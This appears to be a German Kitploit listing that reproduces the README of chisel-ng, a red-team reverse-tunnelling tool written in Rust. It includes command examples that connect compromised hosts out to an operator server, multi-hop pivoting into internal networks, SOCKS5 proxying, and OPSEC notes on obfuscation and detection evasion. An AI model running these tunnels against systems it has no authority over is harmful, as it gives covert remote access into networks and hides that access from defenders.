Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
chisel-ng — Chisel neue Generation, geschrieben in Rust. SSH über WSS mit einigen Anpassungen. | Kitploit
Tools/GitHubGitHub/nullsection/chisel-ng
IDS/IPS-UmgehungLaterale BewegungPost-ExploitationNetzwerksicherheitPenetrationstestsCommand and ControlRed TeamingRemote-Access-Tool
GitHubnullsection/chisel-ng

chisel-ng

Chisel neue Generation, geschrieben in Rust. SSH über WSS mit einigen Anpassungen.

Repository anzeigen
13696vor 7 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/

root@kitploit:~

# chisel-ng

![Rust](https://img.shields.io/badge/rust-1.70+-b7410e.svg)
![License](https://img.shields.io/badge/license-MIT-blue.svg)
![Windows](https://img.shields.io/badge/platform-windows-0078d4.svg)
![Linux](https://img.shields.io/badge/platform-linux-fcc624.svg)

Eine Rust-Implementierung von [chisel](https://github.com/jpillora/chisel) für Penetrationstests und Red-Team-Operationen. Stellt reverse Tunnels über SSH-over-WebSocket-over-TLS her, sodass Operatoren durch kompromittierte Hosts pivotieren können, während sie sich in normalen HTTPS-Verkehr einfügen.

---

## Inhaltsverzeichnis

- [Quick Start](#quick-start)
- [Features](#features)
- [Architektur](#architecture)
- [Verwendungsreferenz](#usage-reference)
  - [Server (Operator)](#server-operator)
  - [Reverse Client (Agent)](#reverse-client-agent)
  - [Bind Client (Agent – Inbound-Modus)](#bind-client-agent-inbound-mode)
  - [Server-CLI-Befehle](#server-cli-commands)
- [Multi-Hop-Pivoting](#multi-hop-pivoting)
- [Technische Details](#technical-details)
- [OPSEC-Überlegungen](#opsec-considerations)
- [Haftungsausschluss](#disclaimer)

---

## Quick Start

### Voraussetzungen

- Rust 1.70+ ([rustup.rs](https://rustup.rs/))

### Build

```bash
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release

Die Binärdateien liegen in target/release/: chisel-server, chisel-client, chisel-bind-client

Grundlegende Verwendung

1. Server starten (Operator):

root@kitploit:~
./chisel-server -p 'secret' -v

2. Client ausführen (Ziel):

root@kitploit:~
./chisel-client -s operator.example.com:8443 -p 'secret' -k

3. Tunnels erstellen:

root@kitploit:~
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080

4. Auf interne Dienste zugreifen:

root@kitploit:~
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/

Features

  • SSH über WebSocket über TLS – Fügt sich in normalen HTTPS-Verkehr ein
  • Vorab geteilter Schlüssel (PSK) – Einfache, sichere Authentifizierung
  • Dynamische Portweiterleitung – On-Demand-Tunnels erstellen
  • SOCKS5-Proxy – Dynamisches Routing durch Agents
  • Zwei Client-Modi – Reverse (verbindet nach außen) und Bind (akzeptiert eingehende Verbindungen)
  • Plattformübergreifend – Windows und Linux

Architektur

root@kitploit:~
+------------------+              +----------------------------------+
|     Operator     |              |         Zielnetzwerk             |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (über TLS) | |  (reverse)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+

Protokollstapel:

root@kitploit:~
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel-Daten
                     ^
            erscheint als HTTPS

Client-Modi:

  • Reverse (chisel-client) – Stellt ausgehende Verbindung zum Server her
  • Bind (chisel-bind-client) – Horcht auf eingehende Verbindungen; Server verwendet connect-Befehl

Verwendungsreferenz

Server (Operator)
root@kitploit:~
OPTIONEN:
    -l, --listen <ADDR>      Lauschadresse [Standard: 0.0.0.0:8443]
    -p, --psk <PSK>          Vorab geteilter Schlüssel oder Passphrase [env: CHISEL_PSK]
        --cert <DATEI>       TLS-Zertifikat (PEM)
        --key <DATEI>        TLS-Privatkey (PEM)
        --generate-psk       Zufälligen PSK generieren und beenden
    -v, --verbose            Ausführliche Ausgabe
Reverse Client (Agent)
root@kitploit:~
OPTIONEN:
    -s, --server <ADDR>      Serveradresse (host:port)
    -p, --psk <PSK>          Vorab geteilter Schlüssel oder Passphrase [env: CHISEL_PSK]
    -u, --user <LABEL>       Sitzungsbeschriftung [Standard: agent]
    -k, --insecure           TLS-Verifikation überspringen
        --no-reconnect       Automatische Neuverbindung deaktivieren
    -i, --interval <SEK>     Wiederverbindungsintervall [Standard: 30]
        --heartbeat <SEK>    Heartbeat-Intervall [Standard: 30]
    -v, --verbose            Ausführliche Ausgabe
Bind Client (Agent – Inbound-Modus)

Für Ziele, die eingehende Verbindungen akzeptieren, aber keine ausgehenden initiieren können:

root@kitploit:~
OPTIONEN:
    -l, --listen <ADDR>      Lauschadresse (z. B. 0.0.0.0:9000)
    -p, --psk <PSK>          Vorab geteilter Schlüssel oder Passphrase [env: CHISEL_PSK]
    -u, --user <LABEL>       Sitzungsbeschriftung [Standard: agent]
    -k, --insecure           TLS-Verifikation überspringen
        --heartbeat <SEK>    Heartbeat-Intervall [Standard: 30]
    -v, --verbose            Ausführliche Ausgabe
Server-CLI-Befehle

Hauptmenü:

root@kitploit:~
sessions             Verbundene Sitzungen auflisten
session <id>         Eine Sitzung auswählen
connect <ip:port>    Mit Bind-Client verbinden
disconnect <id>      Sitzung trennen (wird neu verbunden)
kill <id>            Clientprozess beenden

Sitzungsmenü:

root@kitploit:~
tunnel <lokal>:<ziel_ip>:<ziel_port>                Tunnel erstellen
tunnel --local <lokal>:<ziel>:<port>                Tunnel erstellen (nur localhost)
tunnel stop <port>                                  Tunnel stoppen
tunnels                                             Tunnel auflisten
socks5 <port>                                       SOCKS5-Proxy starten
socks5 stop <port>                                  SOCKS5-Proxy stoppen
ping                                                Latenz messen
ps                                                  Remote-Prozesse auflisten
netstat                                             Remote-Verbindungen auflisten

Multi-Hop-Pivoting

Erreiche isolierte Netzwerke durch Verkettung bestehender Sitzungen.

Szenario: Der DMZ-Host kann den Operator erreichen. Der interne Host (10.0.0.50) ist nur vom DMZ aus erreichbar.

root@kitploit:~
+----------+        +-----------+        +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2  |
|  Server  |        |   (DMZ)   |        | (INTERN)   |
+----------+        +-----------+        +------------+

Schritt 1 – Server starten (Operator):

root@kitploit:~
./chisel-server -p 'secret' -v

Schritt 2 – Reverse-Client ausführen (DMZ-Host):

root@kitploit:~
./chisel-client -s operator.example.com:8443 -p 'secret' -k

Schritt 3 – Bind-Client ausführen (interner Host unter 10.0.0.50):

root@kitploit:~
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k

Schritt 4 – Tunnel erstellen und verbinden (Server-CLI):

root@kitploit:~
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel auf 127.0.0.1:9000 gestartet

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Sitzung 2 registriert

chisel-ng> session 2
[session-2] INTERN > socks5 1080

Technische Details

Wie Tunnels funktionieren

Beim Erstellen eines Tunnels (tunnel 8080:192.168.1.100:80):

  1. Server bindet lokalen Port 8080
  2. Bei Verbindung sendet Server CONNECT-Anfrage an Agent
  3. Agent verbindet sich mit Ziel und öffnet SSH-direct-tcpip-Kanal
  4. Daten werden bidirektional weitergeleitet
Wie SOCKS5 funktioniert

Dynamische Ziele per RFC-1928-Handshake. Liefert korrekte Fehlercodes für präzise Portscan-Ergebnisse.


OPSEC-Überlegungen

Binärhärtung

Release-Builds sind gehärtet:

  • Stiller Betrieb – Alle Logausgaben werden zu No-Ops kompiliert
  • Zeichenkettenverschleierung – Protokollstrings werden zur Kompilierzeit XOR-verschlüsselt
  • Symbolentfernung – Keine Debug-Symbole oder Quellpfade
  • Größenoptimierung – ~3 MB statt ~15 MB (Debug)
  • Panikverhalten – Sofortiger Abbruch, keine Stacktraces
Betriebssicherheit
  • PSK-Authentifizierung – 256-Bit-Schlüssel aus Passphrase (SHA-256) oder rohem Hex
  • Keine Credential-Speicherung – PSK nur über Argument oder Umgebungsvariable
  • Automatische Neuverbindung – Standardmäßig aktiviert, konfigurierbares Intervall
  • Heartbeat – Konfigurierbarer Keepalive, deaktivieren mit --heartbeat 0
Erkennungsvektoren
  • JA3/JA4-TLS-Fingerprinting
  • WebSocket-Upgrade-Muster
  • Lang andauernde Verbindungen
  • Gleichbleibende Heartbeat-Intervalle

Haftungsausschluss

Dieses Werkzeug ist ausschließlich für autorisierte Sicherheitstests vorgesehen. Hole vor der Nutzung eine entsprechende Genehmigung ein. Die Autoren übernehmen keine Haftung für Missbrauch.


Lizenz

MIT

Tool herunterladen